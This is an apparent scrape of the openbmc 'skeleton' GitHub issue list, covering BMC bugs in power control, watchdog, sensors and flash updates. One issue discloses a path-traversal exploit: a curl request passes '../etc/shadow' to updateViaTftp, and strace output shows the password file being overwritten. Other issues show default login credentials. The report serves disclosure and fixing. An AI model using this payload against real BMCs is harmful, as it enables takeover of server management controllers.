Coder Social home page Coder Social logo

skeleton's People

Contributors

adamliyi avatar agangidi53 avatar alexandersoldatov avatar amboar avatar anoo1 avatar antwil avatar apopple avatar bradbishop avatar camvanng avatar cyrilbur-ibm avatar dhruvibm avatar eddiejames avatar edtanous avatar feistjj avatar geissonator avatar ghf avatar gkeishin avatar gtmills avatar jk-ozlabs avatar joshdking avatar kencheniec avatar mdmillerii avatar mine260309 avatar nkskjames avatar shenki avatar spinler avatar vishwabmc avatar williamli80 avatar williamspatrick avatar yongli3 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

skeleton's Issues

scan-build: includes/gpio.c:179,2 Function call argument is an uninitialized value

176 char* get_gpio_dev(GPIO* gpio)
177 {
178     char* buf;

1   'buf' declared without an initial value → 

179     sprintf(buf, "%s/gpio%d/value", gpio->dev, gpio->num);

2   ← Function call argument is an uninitialized value

180     return buf;
181 }

From the man-page:

BUGS
Because sprintf() and vsprintf() assume an arbitrarily long string, callers must be careful not to overflow the actual space; this is often impossible to assure.
Note that the length of the strings produced is locale-dependent and difficult to predict. Use snprintf() and vsnprintf() instead (or asprintf(3) and
vasprintf(3)).

Here we're not allocating any space, and the pointer is uninitialised.

Handle Host Checkstop during BMC reboot

PR #96 added host checkstop handling, but if the BMC reboots before it reboots the host, or there's a host checkstop during a BMC reboot, the BMC won't know to take action when it comes back from reboot. Another window Milton thought about is between sending the start and the xstop happening.

The BMC currently only takes action when the on a falling edge irq, and if it's in reboot, it looses that information.

[security] overwrite any file on the bmc with updateViaTftp

I've found a security hole that allows to override any bmc file via updateViaTftp command:

curl -v -b cjar -k -X POST -H "Content-Type: application/json" \
   -d '{"data": ["10.1.0.1", "../etc/shadow"]}' \
   https://10.1.0.102/org/openbmc/control/flash/bmc/acion/updateViaTftp

This will override /etc/shadow on the bmc with the user's content from "etc/shadow" on tftp server.

Before exploiting:

# md5sum /etc/shadow
7f2131b66f559a79b7198b64a8577048 /etc/shadow

Here is a part of strace log from /usr/sbin/download_manager.py process:

[pid  2520] open("/tmp/../etc/shadow", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
[pid  2520] sendto(3, "\0\1../etc/shadow\0octet\0", 22, 0, {sa_family=AF_INET, sin_port=htons(69), sin_addr=inet_addr("10.1.0.1")}, 16) = 22
[pid  2520] recvfrom(3, "\0\3\0\1root:$1$UGMqyqdG$FZiylVFmRRf"..., 516, 0, {sa_family=AF_INET, sin_port=htons(50237), sin_addr=inet_addr("10.1.0.1")}, [16]) = 516
[pid  2520] connect(3, {sa_family=AF_INET, sin_port=htons(50237), sin_addr=inet_addr("10.1.0.1")}, 16) = 0
[pid  2520] write(4, "root:$1$UGMqyqdG$FZiylVFmRRfl9Z0"..., 512) = 512
[pid  2520] sendto(3, "\0\4\0\1", 4, 0, {sa_family=AF_INET, sin_port=htons(50237), sin_addr=inet_addr("10.1.0.1")}, 16) = 4
[pid  2520] read(3, "\0\3\0\2:*:17141:0:99999:7:::\navahi:"..., 516) = 133
[pid  2520] write(4, ":*:17141:0:99999:7:::\navahi:!:17"..., 129) = 129

After upload:

# md5sum /etc/shadow
28f761c4178e7f709a5bdce6943c4496  /etc/shadow

scan-build: objects/flash_bios_obj.c:62,3 Value stored to 'rc' is never read

44  static gboolean
45  on_init(Flash *f,
46          GDBusMethodInvocation *invocation,
47          gpointer user_data)
48  {
49      flash_complete_init(f,invocation);
50   
51      //tune flash
52      if(strcmp(flash_get_flasher_instance(f),"bios") == 0)
53      {
54          flash_set_filename(f,"");
55          const gchar* obj_path = g_dbus_object_get_object_path((GDBusObject*)user_data);
56          int rc = update(f,obj_path);
57          if(rc==-1)
58          {
59              printf("ERROR FlashControl: Unable to init\n");
60          }
61          sleep(3);
62          rc = update(f,obj_path);

Value stored to 'rc' is never read
63   
64      }
65      return TRUE;
66  }

The error handling on line 57-60 also looks suspect, in that we continue regardless of a reported error. It also doesn't seem like good error handling to be returning TRUE if we've made call(s) that have returned unsuccessful.

Related, the status variable in the update() implementation is initialised with a dead store, is only used on one path, and its value isn't checked:

29      pid_t pid;
30      int status=-1;
31      pid = fork();
32      if(pid == 0)
33      {
...
38          status = execl(path, name, inst, filename, obj_path, NULL);
39          return status;
40      }
41      return 0;

We could eliminate the status variable and return the result of execl() directly, which will always be an error code.

RESTORE_LAST_STATE does not work correctly.

Here is what I tried on Palmetto :

1/.Set the power policy to RESTORE_LAST_STATE
2/.Power on and it was in HOST_BOOTING state
3/. I went to PDU and did AC cycle
4/. discover_system_state printed that Last System State was [Host_POWERED_OFF] and stayed there.

I was expecting it to start powering on since the last known state prior to reset was "Host Booting".

The problem is that discover_system_state look @ system_state" property from "settings" interface and that one always had [Host_Power_off] post a AC cycle.

We would need to :
1/. Stop looking at the settings since it will always tell the latest.
2/. Save the last system state somewhere that can be looked into during restore.

Change pgood polling to interrupt driven

One of the TODOs in the code (power_control_obj.c) is to change the logic from polling the pgood (currently every 3 seconds) to interrupt driven to save CPU.

Sensor can not be read by dbus

I add some sensors in Barreleye.py in '6-002e' and '6-002d'.
'fan1_input' : { 'object_path' : 'tach/fan2L','poll_interval' : 10000,'scale' : 1,'units' : '' },
'fan2_input' : { 'object_path' : 'tach/fan2H','poll_interval' : 10000,'scale' : 1,'units' : '' },
'fan3_input' : { 'object_path' : 'tach/fan1L','poll_interval' : 10000,'scale' : 1,'units' : '' },
'fan4_input' : { 'object_path' : 'tach/fan1H','poll_interval' : 10000,'scale' : 1,'units' : '' },
'fan5_input' : { 'object_path' : 'tach/fan0L','poll_interval' : 10000,'scale' : 1,'units' : '' },
'fan6_input' : { 'object_path' : 'tach/fan0H','poll_interval' : 10000,'scale' : 1,'units' : '' },
I can saw the values in /sys/class/hwmon/hwmon1 and /sys/class/hwmon/hwmon2 are correct.
imag5167
But the sensor reading is 0 by obmcutil getsensors.
imag5168

maintainer needed

@spinler to ask around at IBM if there is someone who would like to be a maintainer of this. There should be very limited use of this repository still but I think there is some code used in the Witherspoon power-on sequence still.

Host watchdog timeout when RMC communicates with BMC continually

Sometimes BMC needs more than 30s to finish the jobs when RMC communicates with BMC continually.
Per OpenPower Host IPMI Spec (here), it specify the timer should be 30s.
We need to improve the performance or change the spec to extend the poll interval.
Any advice?

Step 1: Login to BMC by curl command

$ curl -c cjar -b cjar -k -X POST -H "Content-Type: application/json" -d '{"data": [ "root", "0penBmc" ] }' https://10.32.9.38/login
{
  "data": "User 'root' logged in", 
  "message": "200 OK", 
  "status": "ok"
}
$ curl -c cjar -b cjar -k https://10.32.9.38/org/openbmc/inventory/system/chassis/motherboard/bmc
{
  "data": {
    "fault": "False", 
    "fru_type": "BMC", 
    "is_fru": 0, 
    "manufacturer": "ASPEED", 
    "present": "False", 
    "version": "v1.0.3-dirty"
  }, 
  "message": "200 OK", 
  "status": "ok"

Step 2: Create 5 sessions to get inventory continually and make sure that all of them can get the information correctly

$for x in `seq 1 100`;do curl -b cjar -k https://10.32.9.38/org/openbmc/inventory/system/chassis/motherboard/enumerate ;done &
$for x in `seq 1 100`;do curl -b cjar -k https://10.32.9.38/org/openbmc/inventory/system/chassis/motherboard/enumerate ;done &
$for x in `seq 1 100`;do curl -b cjar -k https://10.32.9.38/org/openbmc/inventory/system/chassis/motherboard/enumerate ;done &
$for x in `seq 1 100`;do curl -b cjar -k https://10.32.9.38/org/openbmc/inventory/system/chassis/motherboard/enumerate ;done &
$for x in `seq 1 100`;do curl -b cjar -k https://10.32.9.38/org/openbmc/inventory/system/chassis/motherboard/enumerate ;done &

Step 3: Power on the system and then watchdog timeout sometimes

Jul 21 00:51:31 barreleye system_manager.py[982]: Turn on power and boot
Jul 21 00:51:31 barreleye system_manager.py[982]: Running System State: HOST_POWERING_ON
Jul 21 00:51:31 barreleye system_manager.py[982]: Setting watchdog poll interval to: 30000
Jul 21 00:51:31 barreleye system_manager.py[982]: Starting watchdog with poll interval: 30000
 = None
ftgmac100: NCSI interface down
Jul 21 00:51:33 barreleye kernel: ftgmac100: NCSI interface down
Jul 21 00:51:33 barreleye kernel[972]: ftgmac100: NCSI interface down
Jul 21 00:51:33 barreleye system_manager.py[982]: Running System State: HOST_POWERED_ON
Jul 21 00:51:33 barreleye system_manager.py[982]: Starting process: /usr/sbin/goto_system_state.py INVENTORY_UPLOADED inventory_upload.py: inventory_upload
ftgmac100: NCSI interface up
Jul 21 00:51:34 barreleye kernel: ftgmac100: NCSI interface up
Jul 21 00:51:34 barreleye kernel[972]: ftgmac100: NCSI interface up
^[
Jul 21 00:51:55 barreleye system_manager.py[982]: ERROR (name_properties): "name" property in /bmc/inventory/hdd_backplane is incorrect ("BARRELEYE Exander" instead of base node name)
Jul 21 00:51:55 barreleye system_manager.py[982]: ERROR (name_properties): "name" property in /bmc/inventory/sas_expander is incorrect ("BARRELEYE BPx15" instead of base node name)
Jul 21 00:51:55 barreleye system_manager.py[982]: ERROR (name_properties): "name" property in /bmc/inventory/misc is incorrect ("BARRELEYE MB" instead of base node name)
Jul 21 00:51:55 barreleye system_manager.py[982]: ERROR: Input tree has errors, aborting (use -f to force output)
Jul 21 00:51:56 barreleye system_manager.py[982]: Partition 'BMC_INV' not found !
Jul 21 00:51:56 barreleye system_manager.py[982]: Uploading inventory to PNOR in dtb format...
Jul 21 00:51:56 barreleye system_manager.py[982]: Running System State: INVENTORY_UPLOADED
Jul 21 00:51:56 barreleye system_manager.py[982]: Starting process: /usr/sbin/pcie_slot_present.exe: pcie_present
Jul 21 00:51:56 barreleye system_manager.py[982]: Setting fans to max
Jul 21 00:51:56 barreleye system_manager.py[982]: Booting host
Jul 21 00:51:57 barreleye system_manager.py[982]: Checking Presence: SLOT0_RISER_PRESENT
Jul 21 00:51:57 barreleye system_manager.py[982]: GPIO Lookup:  SLOT0_RISER_PRESENT = 424,in
Jul 21 00:51:57 barreleye system_manager.py[982]: Checking Presence: SLOT1_RISER_PRESENT
Jul 21 00:51:57 barreleye system_manager.py[982]: GPIO Lookup:  SLOT1_RISER_PRESENT = 425,in
Jul 21 00:51:57 barreleye system_manager.py[982]: Checking Presence: SLOT2_RISER_PRESENT
Jul 21 00:51:57 barreleye system_manager.py[982]: GPIO Lookup:  SLOT2_RISER_PRESENT = 426,in
Jul 21 00:51:58 barreleye system_manager.py[982]: Checking Presence: SLOT0_PRESENT
Jul 21 00:51:58 barreleye system_manager.py[982]: GPIO Lookup:  SLOT0_PRESENT = 427,in
Jul 21 00:51:58 barreleye system_manager.py[982]: Using primary side of the bios flash
Jul 21 00:51:58 barreleye system_manager.py[982]: Checking Presence: SLOT1_PRESENT
Jul 21 00:51:58 barreleye system_manager.py[982]: GPIO Lookup:  SLOT1_PRESENT = 428,in
Jul 21 00:51:58 barreleye system_manager.py[982]: Checking Presence: SLOT2_PRESENT
Jul 21 00:51:58 barreleye system_manager.py[982]: Running System State: HOST_BOOTING
Jul 21 00:51:59 barreleye system_manager.py[982]: GPIO Lookup:  SLOT2_PRESENT = 429,in
Jul 21 00:51:59 barreleye system_manager.py[982]: Checking Presence: MEZZ0_PRESENT
Jul 21 00:51:59 barreleye system_manager.py[982]: GPIO Lookup:  MEZZ0_PRESENT = 432,in
Jul 21 00:51:59 barreleye system_manager.py[982]: Checking Presence: MEZZ1_PRESENT
Jul 21 00:51:59 barreleye system_manager.py[982]: GPIO Lookup:  MEZZ1_PRESENT = 433,in
Jul 21 00:52:01 barreleye system_manager.py[982]: Polling watchdog: 0
Jul 21 00:52:01 barreleye system_manager.py[982]: Watchdog Error, Hard Rebooting
Jul 21 00:52:01 barreleye system_manager.py[982]: Turn off power
Jul 21 00:52:01 barreleye system_manager.py[982]: Stopping watchdog
Jul 21 00:52:01 barreleye system_manager.py[982]: Running System State: HOST_POWERING_OFF
ftgmac100: NCSI interface up
Jul 21 00:52:03 barreleye kernel: ftgmac100: NCSI interface up
Jul 21 00:52:03 barreleye kernel[972]: ftgmac100: NCSI interface up
Jul 21 00:52:03 barreleye system_manager.py[982]: Running System State: HOST_POWERED_OFF
Jul 21 00:52:03 barreleye system_manager.py[982]: Deleting OCC device
Jul 21 00:52:03 barreleye system_manager.py[982]: Turn on power and boot
Jul 21 00:52:03 barreleye system_manager.py[982]: Deleting OCC device
Jul 21 00:52:03 barreleye system_manager.py[982]: Running System State: HOST_POWERING_ON

Step 4: Extend the watchdog timer to 300 seconds for debugging. We can see that BMC takes more than 30s to finish the jobs.

Jul 21 01:29:44 barreleye system_manager.py[918]: Turn on power and boot
Jul 21 01:29:44 barreleye system_manager.py[918]: Running System State: HOST_POWERING_ON
Jul 21 01:29:44 barreleye system_manager.py[918]: Setting watchdog poll interval to: 300000
 = None
Jul 21 01:29:44 barreleye system_manager.py[918]: Starting watchdog with poll interval: 300000
Jul 21 01:29:46 barreleye system_manager.py[918]: Running System State: HOST_POWERED_ON
ftgmac100: NCSI interface down
Jul 21 01:29:46 barreleye system_manager.py[918]: Starting process: /usr/sbin/goto_system_state.py INVENTORY_UPLOADED inventory_upload.py: inventory_upload
Jul 21 01:29:46 barreleye kernel: ftgmac100: NCSI interface down
Jul 21 01:29:46 barreleye kernel[923]: ftgmac100: NCSI interface down
ftgmac100: NCSI interface up
Jul 21 01:29:48 barreleye kernel: ftgmac100: NCSI interface up
Jul 21 01:29:48 barreleye kernel[923]: ftgmac100: NCSI interface up
Jul 21 01:30:08 barreleye system_manager.py[918]: ERROR (name_properties): "name" property in /bmc/inventory/hdd_backplane is incorrect ("BARRELEYE Exander" instead of base node name)
Jul 21 01:30:08 barreleye system_manager.py[918]: ERROR (name_properties): "name" property in /bmc/inventory/sas_expander is incorrect ("BARRELEYE BPx15" instead of base node name)
Jul 21 01:30:08 barreleye system_manager.py[918]: ERROR (name_properties): "name" property in /bmc/inventory/misc is incorrect ("BARRELEYE MB" instead of base node name)
Jul 21 01:30:08 barreleye system_manager.py[918]: ERROR: Input tree has errors, aborting (use -f to force output)
Jul 21 01:30:09 barreleye system_manager.py[918]: Partition 'BMC_INV' not found !
Jul 21 01:30:09 barreleye system_manager.py[918]: Uploading inventory to PNOR in dtb format...
Jul 21 01:30:09 barreleye system_manager.py[918]: Running System State: INVENTORY_UPLOADED
Jul 21 01:30:09 barreleye system_manager.py[918]: Starting process: /usr/sbin/pcie_slot_present.exe: pcie_present
Jul 21 01:30:09 barreleye system_manager.py[918]: Setting fans to max
Jul 21 01:30:10 barreleye system_manager.py[918]: Booting host
Jul 21 01:30:10 barreleye system_manager.py[918]: Checking Presence: SLOT0_RISER_PRESENT
Jul 21 01:30:11 barreleye system_manager.py[918]: GPIO Lookup:  SLOT0_RISER_PRESENT = 424,in
Jul 21 01:30:11 barreleye system_manager.py[918]: Checking Presence: SLOT1_RISER_PRESENT
Jul 21 01:30:11 barreleye system_manager.py[918]: GPIO Lookup:  SLOT1_RISER_PRESENT = 425,in
Jul 21 01:30:11 barreleye system_manager.py[918]: Checking Presence: SLOT2_RISER_PRESENT
Jul 21 01:30:12 barreleye system_manager.py[918]: GPIO Lookup:  SLOT2_RISER_PRESENT = 426,in
Jul 21 01:30:12 barreleye system_manager.py[918]: Using primary side of the bios flash
Jul 21 01:30:12 barreleye system_manager.py[918]: Checking Presence: SLOT0_PRESENT
Jul 21 01:30:13 barreleye system_manager.py[918]: GPIO Lookup:  SLOT0_PRESENT = 427,in
Jul 21 01:30:13 barreleye system_manager.py[918]: Running System State: HOST_BOOTING
Jul 21 01:30:13 barreleye system_manager.py[918]: Checking Presence: SLOT1_PRESENT
Jul 21 01:30:13 barreleye system_manager.py[918]: GPIO Lookup:  SLOT1_PRESENT = 428,in
Jul 21 01:30:14 barreleye system_manager.py[918]: Checking Presence: SLOT2_PRESENT
Jul 21 01:30:14 barreleye system_manager.py[918]: GPIO Lookup:  SLOT2_PRESENT = 429,in
Jul 21 01:30:14 barreleye system_manager.py[918]: Checking Presence: MEZZ0_PRESENT
Jul 21 01:30:14 barreleye system_manager.py[918]: GPIO Lookup:  MEZZ0_PRESENT = 432,in
Jul 21 01:30:14 barreleye system_manager.py[918]: Checking Presence: MEZZ1_PRESENT
Jul 21 01:30:14 barreleye system_manager.py[918]: GPIO Lookup:  MEZZ1_PRESENT = 433,in
Jul 21 01:30:18 barreleye system_manager.py[918]: Setting watchdog poll interval to: 120000
Jul 21 01:30:18 barreleye system_manager.py[918]: Stopping watchdog
Jul 21 01:30:18 barreleye system_manager.py[918]: Starting watchdog with poll interval: 120000

scan-build: objects/pcie_slot_present_obj.c:149,4 Value stored to 'rc' is never read

142     for(i=0;i<NUM_SLOTS;i++)
143     {
144         object_info obj_info;
145         uint8_t present;
146         do {
147             rc = get_object(sys_proxy,&slots[i],&obj_info);
148             if(rc) { break; }
149             rc = get_presence(c,&slots[i],&present);

Value stored to 'rc' is never read
150             //if (rc) { break; }
151             // TODO: send correct state
152             if(present == 0) {
153                 update_fru_obj(c,&obj_info,"True");
154             } else {
155                 update_fru_obj(c,&obj_info,"False");
156             }
157         } while(0);
158     }

Presumably there's some justification for commenting out the error handling, but it's not evident from the commit message (see 1d30992)

Setting 'preserve_network_settings' flag does not back up u-boot-env

Setting the "preserve_network_settings" flag and flashing the BMC, does not back up the u-boot environment variables.

Here are the steps I followed:

a) curl -c cjar -k -X POST -H "Content-Type: application/json" \ -d '{"data": [ "root", "0penBmc" ] }' \ https://1xx.xx.xx.xx/login

b) curl -c cjar -b cjar -k https://xx.xx.xx.xx/org/openbmc/control/flash/bmc

c) curl -c cjar -b cjar -k -H "Content-Type: application/json" -X PUT -d "{"data": 1}" https://xx.xx.xx.xx/org/openbmc/control/flash/bmc/attr/preserve_network_settings

d) curl -c cjar -b cjar -k https://xx.xx.xx.xx/org/openbmc/control/flash/bmc
{
"data": {
"clear_persistent_files": 0,
"filename": "",
"preserve_network_settings": 1,
"restore_application_defaults": 0,
"status": "Idle",
"update_kernel_and_apps": 0
},

e) curl -c cjar -b cjar -k -H "Content-Type: application/json" -X POST -d "{"data": [""tt.tt.tt.tt","final.tar""]}" https://xx.xx.xx.xx/org/openbmc/control/flash/bmc/action/updateViaTftp

{
"data": {
"clear_persistent_files": 0,
"filename": "final.tar",
"preserve_network_settings": 1,
"restore_application_defaults": 0,
"status": "Update Success. Please reboot.",
"update_kernel_and_apps": 0
},

f) Reboot

Sensor 5 not showing bus

I put on commit 87493b8
I now can get a bus interface for 9 but not for 5.

=== No Worky ===
curl -d "[ "SENSOR", 5 ]" http://9.3.164.147/org/openbmc/managers/System/action/getObjectFromByteId{
"result": [
"",
"/org/openbmc/sensor/virtual/BootProgress",
"org.openbmc.InventoryItem"
],
"status": "OK"
}

=== Works ===
curl -d "[ "SENSOR", 9 ]" http://9.3.164.147/org/openbmc/managers/System/action/getObjectFromByteId
{
"result": [
":1.18",
"/org/openbmc/sensor/virtual/BootCount",
"org.openbmc.SensorValue"
],
"status": "OK"
}

Remove all `/dev/mem` access

Currently we poke at /dev/mem for making sure a bunch of things are configured in the way they need to be. This is bad, as userspace and the kernel can step on each others toes, and create bugs that are hard to debug.

Ultimately there will be proper kernel features in the form of device tree descriptions and a pinmux driver. For now, lets stick them in arch/arm/mach-aspeed/aspeed.c.

We could disable /dev/mem entirely, but it is useful for debugging and testing, so instead we will make it a rule that no checked in code touches it and keep it around for convenience.

PreTag openbmc/skeleton#43 - Set Less Than Minimum PowerCAP

Please refer to mkumatag/openbmc-automation#61
for detail description...

Our concern was if this is some sort of REST server code bug returning Error even when that PowerCap property existing on the system..

If by design ( #43 ) if itis not going to return HTTP OK ... then, why is this return HTTP OK here on Palmetto and throwing error on Barrelleye when PowerCap Property exist on both the systems..

Example:

On Palmetto :
openbmc-automation$ curl -c cjar -b cjar -k -H "Content-Type: application/json" -X POST -d "{"data": [ 1900 ]}" http://9.3.164.177/org/openbmc/sensors/host/PowerCap/action/setValue
{
"data": null,
"message": "200 OK",
"status": "ok"
}

On Barrelleye:
openbmc-automation$ curl -c cjar -b cjar -k -H "Content-Type: application/json" -X POST-d "{"data": [ 1900 ]}" https://9.3.23.24/org/openbmc/sensors/host/PowerCap/action/setValue
{
"data": {
"description": "org.openbmc.objectmapper.Error.NotFound: path or object not found: /org/openbmc/sensors/host/PowerCap"
},
"message": "404 Not Found",
"status": "error"
}

Not setting 'clear_persistent_files' flag does not back up Static IP (Stored in persistent file system ?)

Here are the steps I follow and after rebooting at the end, static IP address (SUPPOSED TO BE STORED IN PERSISTENT PARTITION) gets cleared instead of being saved:

Here are the steps I followed:

a) Setting Static IP Address:

ipmitool lan set 1 ipsrc static
ipmitool lan set 1 ipaddr 10.127.xx.xx
ipmitool lan set 1 netmask 255.255.252.0
ipmitool lan set 1 defgw ipaddr 10.127.xx.xx

b) curl -c cjar -k -X POST -H "Content-Type: application/json" \ -d '{"data": [ "root", "0penBmc" ] }' \ https://1xx.xx.xx.xx/login

c) curl -c cjar -b cjar -k https://xx.xx.xx.xx/org/openbmc/control/flash/bmc

d) As you can see by default clear_persistent_files is set to 0 . Which means that persistent files should be backed up by default:

curl -c cjar -b cjar -k https://xx.xx.xx.xx/org/openbmc/control/flash/bmc
{
"data": {
"clear_persistent_files": 0,
"filename": "",
"preserve_network_settings": 1,
"restore_application_defaults": 0,
"status": "Idle",
"update_kernel_and_apps": 0
},

e) curl -c cjar -b cjar -k -H "Content-Type: application/json" -X POST -d "{"data": [""tt.tt.tt.tt","final.tar""]}" https://xx.xx.xx.xx/org/openbmc/control/flash/bmc/action/updateViaTftp

{
"data": {
"clear_persistent_files": 0,
"filename": "final.tar",
"preserve_network_settings": 1,
"restore_application_defaults": 0,
"status": "Update Success. Please reboot.",
"update_kernel_and_apps": 0
},

f) Reboot

Convert obmcutil from python to bash

Python takes up flash space, so there has been discussions on making python option in openbmc. Therefore obmcutil would need to be made a bash script so that it run on systems that have images with no python installed.

host_checkstop_obj.c fails to build with gcc 5

| arm-openbmc-linux-gnueabi-gcc  -march=armv6 --sysroot=/srv/ssd/joel/openbmc/build/tmp/sysroots/witherspoon -c -iquote ../gdbus -iquote ../libopenbmc_intf -pthread -I/srv/ssd/joel/openbmc/build/tmp/sysroots/witherspoon/usr/include/gio-unix-2.0/ -I/srv/ssd/joel/openbmc/build/tmp/sysroots/witherspoon/usr/include/glib-2.0 -I/srv/ssd/joel/openbmc/build/tmp/sysroots/witherspoon/usr/lib/glib-2.0/include -fPIC -Werror  -O2 -pipe -g -feliminate-unused-debug-types -fdebug-prefix-map=/srv/ssd/joel/openbmc/build/tmp/work/armv6-openbmc-linux-gnueabi/skeleton/1.0-r1=/usr/src/debug/skeleton/1.0-r1 -fdebug-prefix-map=/srv/ssd/joel/openbmc/build/tmp/sysroots/x86_64-linux= -fdebug-prefix-map=/srv/ssd/joel/openbmc/build/tmp/sysroots/witherspoon=  -o host_checkstop.o host_checkstop_obj.c
| host_checkstop_obj.c: In function 'is_host_booted':
| host_checkstop_obj.c:46:10: error: implicit declaration of function 'strcmp' [-Werror=implicit-function-declaration]
|      if ((strcmp(system_state, "HOST_BOOTED") == 0) ||
|           ^
| cc1: all warnings being treated as errors
| ../gdbus.mk:11: recipe for target 'host_checkstop.o' failed

It needs an #include <string.h>

OCC sensor can not be activated

We found some board can not get OCC sensor.
Hwmon driver did not appear in /sys/class/hwmon
Attachment is the hconsole log and journalctrl log.
OCCfail.txt

Linux version 4.3.6-openbmc-20160222-1 (openpower@openpower-VirtualBox) (gcc version 4.9.3 (GCC) ) #1 Tue Mar 8 14:03:29 CST 2016

[941]: Installing OCC device
------------[ cut here ]------------
WARNING: CPU: 0 PID: 1072 at /home/openpower/openbmc/build/tmp/work-shared/barreleye/kernel-source/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x70()
sysfs: cannot create duplicate filename '/devices/platform/ahb/ahb:apb/1e78a000.i2c/i2c-3/i2c-3/3-0050/hwmon/hwmon3/freq1_input'
Modules linked in:
CPU: 0 PID: 1072 Comm: sh Not tainted 4.3.6-openbmc-20160222-1 #1
Hardware name: ASpeed SoC
[<c000f28c>] (unwind_backtrace) from [<c000cf0c>] (show_stack+0x10/0x14)
[<c000cf0c>] (show_stack) from [<c0016734>] (warn_slowpath_common+0x84/0xac)
[<c0016734>] (warn_slowpath_common) from [<c0016788>] (warn_slowpath_fmt+0x2c/0x3c)
[<c0016788>] (warn_slowpath_fmt) from [<c00dd914>] (sysfs_warn_dup+0x50/0x70)
[<c00dd914>] (sysfs_warn_dup) from [<c00dd674>] (sysfs_add_file_mode_ns+0xfc/0x180)
[<c00dd674>] (sysfs_add_file_mode_ns) from [<c00ddf80>] (internal_create_group+0x18c/0x24c)
[<c00ddf80>] (internal_create_group) from [<c0295650>] (set_occ_online+0x19c/0x35c)
[<c0295650>] (set_occ_online) from [<c00dcb28>] (kernfs_fop_write+0x128/0x188)
[<c00dcb28>] (kernfs_fop_write) from [<c008caf4>] (__vfs_write+0x20/0xd0)
[<c008caf4>] (__vfs_write) from [<c008d1a8>] (vfs_write+0xa8/0x130)
[<c008d1a8>] (vfs_write) from [<c008d8a0>] (SyS_write+0x40/0x80)
[<c008d8a0>] (SyS_write) from [<c000a280>] (ret_fast_syscall+0x0/0x38)
---[ end trace 31651e1056550963 ]---
occ-i2c 3-0050: error create freq sysfs entry

Palmetto.py got a syntax errors.!

root@palmetto:/etc/systemd/system/multi-user.target.wants# systemctl status skeleton.service
● skeleton.service - Temp placeholder for skeleton function
Loaded: loaded (/lib/systemd/system/skeleton.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Tue 2016-02-02 09:06:14 UTC; 14min ago
Process: 885 ExecStart=/usr/sbin/system_manager.py Palmetto (code=exited, status=1/FAILURE)
Main PID: 885 (code=exited, status=1/FAILURE)

Feb 02 09:06:13 palmetto system_manager.py[885]: Traceback (most recent call last):
Feb 02 09:06:13 palmetto system_manager.py[885]: File "/usr/sbin/system_manager.py", line 18, in
Feb 02 09:06:13 palmetto system_manager.py[885]: System = import(sys.argv[1])
Feb 02 09:06:13 palmetto system_manager.py[885]: File "/usr/sbin/Palmetto.py", line 152
Feb 02 09:06:13 palmetto system_manager.py[885]: 'bmc_control' : {
Feb 02 09:06:13 palmetto system_manager.py[885]: ^
Feb 02 09:06:13 palmetto system_manager.py[885]: SyntaxError: invalid syntax
Feb 02 09:06:14 palmetto systemd[1]: skeleton.service: Main process exited, code=exited, status=1/FAILURE
Feb 02 09:06:14 palmetto systemd[1]: skeleton.service: Unit entered failed state.
Feb 02 09:06:14 palmetto systemd[1]: skeleton.service: Failed with result 'exit-code'.
Hint: Some lines were ellipsized, use -l to show in full.
root@palmetto:/etc/systemd/system/multi-user.target.wants#

Set powercap shouldn't except the values out of range

We have seen that set powercap call is excepting any values outside range like less than min or more than supported max powercap value. This error handling should be done in the REST API level to return with error instead of accepting as 200.

Note - though values are not written into the /org/openbmc/sensors/host/PowerCap which is expected but REST should also through Error message.

OCC online path is hardcoded

When the OCC becomes active, the sensor currently sets the online attribute to 1 for OCC hwmon driver. It is using hardcoded path and is customized for Barreleye. Need to remove hardcoding.

Centaur0 has no properties

There are no properties available against the Centaur. I know the command works because in the example below I can see the cpu0 properties. I also know properties should be there since the https://github.com/openbmc/skeleton/blob/master/bin/Palmetto.py#L194 shows some properties

$ curl http://9.3.164.147//org/openbmc/inventory/system/chassis/motherboard/centaur0
{
"status": "OK"
}

$ curl http://9.3.164.147//org/openbmc/inventory/system/chassis/motherboard/cpu0
{
"fault": "",
"fru_type": "CPU",
"is_fru": 1,
"present": "True"
}causten@causten-VirtualBox:~/gitstuff/phosphor-host-ipmid

BMC does not transition to BMC_READY

With the latest openbmc tag v06, upon boot, the BMC state remains at BMC_STARTING and never transitions to BMC_READY. The system can be powered on and all dbus processes seem to be running so may be just a missing state update.

BIOS version doesn't show via openBMC REST

With newer BMC releases (v1.0) and BIOS releases (V 0.2.2) I am noticing that we can't get the BIOS version info with curl command via the BMC (even when host is up). But BMC v0.8 was work.
BMC 0.8 and BIOS 0.2.2
0 8 0 2 2
BMC 1.0 and BIOS 0.2.2
1 0 0 2 2

RDEPENDS not correct

WARNING: QA Issue: /usr/sbin/control@underscore@bmc@[email protected]_skeleton contained in package skeleton requires libopenbmc_intf.so, but no providers found in its RDEPENDS [file-rdeps]

I see this with the sprint 3 code

scan-build: objects/pflash/libflash/libflash.c:571,2 Undefined or garbage value returned to caller

546 int flash_force_4b_mode(struct flash_chip *c, bool enable_4b)
547 {
548     struct spi_flash_ctrl *ct = c->ctrl;
549     int rc;

1   'rc' declared without an initial value  →
550 
551     /*
552      * We only allow force 4b if both controller and flash do 4b
553      * as this is mainly used if a 3rd party tries to directly
554      * access a direct mapped read region
555      */
556     if (enable_4b && !((c->info.flags & FL_CAN_4B) && ct->set_4b))
557         return FLASH_ERR_4B_NOT_SUPPORTED;
558 
559     /* Only send to flash directly on controllers that implement
560      * the low level callbacks
561      */
562     if (ct->cmd_wr) {

2 ←   Taking false branch →
563         rc = flash_set_4b(c, enable_4b);
564         if (rc)
565             return rc;
566     }
567 
568     /* Then inform the controller */
569     if (ct->set_4b)

3 ←   Taking false branch →
570         rc = ct->set_4b(ct, enable_4b);
571     return rc;

4 ←   Undefined or garbage value returned to caller
572 }

Can not power on

I updated the latest commit af915f1 and build. Then the system can not power on, both power button and obmcutil are not work. The state keep in BMC_STARTING.
I suppose the issue is caused by the commit create dependency between fan and chassis control or add bmc flash capability .
1448270643403
1448270645899

palmetto chassis_powerControl

